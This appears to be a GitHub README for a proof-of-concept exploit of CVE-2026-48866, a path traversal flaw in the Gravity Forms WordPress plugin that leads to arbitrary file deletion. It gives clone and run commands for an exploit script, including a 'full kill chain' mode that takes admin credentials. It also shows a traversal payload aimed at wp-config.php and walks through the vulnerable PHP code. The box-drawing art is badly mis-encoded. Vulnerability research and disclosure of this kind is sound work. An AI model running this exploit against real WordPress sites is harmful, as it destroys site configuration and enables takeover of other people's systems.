
CVE-2026-48866 β Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β
β C V E - 2 0 2 6 - 4 8 8 6 6 β
β β
β Gravity Forms Path Traversal β Arbitrary File Deletion β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gform_uploaded_files accepts ../ in URLs. An admin's delete click triggers arbitrary file deletion.
NVD β’ Patchstack β’ Patched Commit β’ Source Mirror
|
Exploit |
Defense |
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β REQUIREMENTS β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β Target WordPress + Gravity Forms β€ 2.10.0.1 β
β Form Public form with a file upload field β
β Python 3.8+ with requests β
β Auth None (injection) / Admin creds (trigger) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests
# Inject only (unauthenticated β file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3
# Full kill chain (admin creds provided β immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 1 β INJECTION β
β (Unauthenticated β any visitor) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β βββββββββββ POST gform_uploaded_files ββββββββββββββββββββ β
β β Attacker β ββββββββββββββββββββββββββββββββ β WordPress AJAX β β
β βββββββββββ {"input_3": [{"url": β admin-ajax.php β β
β ".../../../../wp-config.php"}] ββββββββββ¬ββββββββββ β
β β β
β esc_url_raw() β OK (doesn't strip ../) β β
β is_valid_url() β OK (../ is valid URL) β β
β βΌ β
β ββββββββββββββββββββ β
β β wp_postmeta β β
β β (entry stored β β
β β WITH ../) β β
β ββββββββββ¬ββββββββββ β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββΌβββββββββββββ
β
βββββββββββββββββββββββββββββββ
β (hours, days, or weeks pass...)
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 2 β DELETION β
β (Admin deletes entry β routine cleanup) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β βββββββββββ delete_entry(42) ββββββββββββββββββββ β
β β Admin β ββββββββββββββββββββββββββββββββ β Gravity Forms β β
β βββββββββββ ββββββββββ¬ββββββββββ β
β β β
β get_physical_file_path() β β
β str_replace(url_base β path_base) β β
β ../ SURVIVES in the path β β
β βΌ β
β ββββββββββββββββββββ β
β β unlink() β β
β β β β
β β /var/www/html/ β β
β β wp-config.php β β
β β β DELETED β β
β ββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// forms_model.php β get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/
trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/
$url // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ β /var/www/html/wp-config.php
No check exists between str_replace() and unlink(). The bug lives in that gap.